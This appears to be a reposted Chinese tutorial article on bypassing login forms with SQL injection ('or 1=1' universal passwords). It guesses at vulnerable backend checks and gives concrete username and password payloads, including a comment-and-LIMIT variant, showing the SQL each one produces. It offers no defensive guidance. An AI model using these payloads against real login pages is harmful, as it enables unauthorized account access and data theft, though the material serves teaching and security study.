關於萬能密碼 or 1=1


萬能條件 ' or 1=1

在用戶登錄界面,如果后端判斷不嚴謹,可以通過 or 1=1 的方式,結合其他條件滿足后端的登錄的驗證許可.

假設 登錄的驗證需要 username 和password 兩個參數.

情況一: 查詢結果不為空,或大於0

后端代碼:

# 查詢的SQL 
result = SELECT * FROM users WHERE user = '#username' AND password = '#password'  

#猜測后台驗證的方法 (偽java代碼)
if(result != null ){
	return true;
}else {
  thorw new RuntimeException ('登錄失敗')
}

或者(偽java代碼)

if(result.cont >0 ){
	return true;
}else {
  thorw new RuntimeException ('登錄失敗')
}

前端填寫:

用戶名隨意填寫或者空,密碼填寫 111' or '1'='1




這樣講導致SQL演變為
 SELECT * FROM users WHERE user = 'name'  AND password = '111'  or '1'='1'

判斷條件變成了: 用戶名密碼匹配 或者 '1' = '1' 所以條件一直為真.會查出所有用戶信息







username  輸入 admin1' or '1'='1  即可,passwrd 可以填空或隨意值即可.

這樣講導致SQL演變為
 SELECT * FROM users WHERE user = 'admin1' or '1'='1' AND password = ''  



情況二: 直接查詢數量是否等於 1

情況一的方法就不能使用了,想辦法讓返回結果為1 即可.

后端代碼:

# 查詢的SQL 
int result = SELECT count(*) FROM users WHERE user = '#username' AND password = '#password'  

#猜測后台驗證的方法 (偽java代碼)
if(result == 1 ){
	return true;
}else {
  thorw new RuntimeException ('登錄失敗')
}

前端填寫 : 如果知道用戶名

username: admin'  or '1'='1  
補充: admin是真實用戶名

password: 隨意輸入密碼即可      

這樣講導致SQL演變為
 SELECT * FROM users WHERE user = 'admin'  or '1'='1'  AND password = '111'  
 
可以理解為:
  SELECT * FROM users WHERE user = 'admin'  or( '1'='1'  AND password = '111'  )
  
 
 這樣會導致只會查詢 user 為admin的用戶,導致查詢數量為1
 
 
  

前端填寫 : 如果不知道用戶名

username = 111' or '1'='1' limit 0, 1#   
用戶名: 使用or 1=1 達到萬能條件,使用 limit 0,1 表示取第一條數據, 使用# 表示注釋掉后面的語句
password = 111  
密碼隨意輸入即可



這樣講導致SQL演變為
SELECT * FROM `users` WHERE user = '111' or '1'='1' limit 0, 1# AND password = '111';







免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM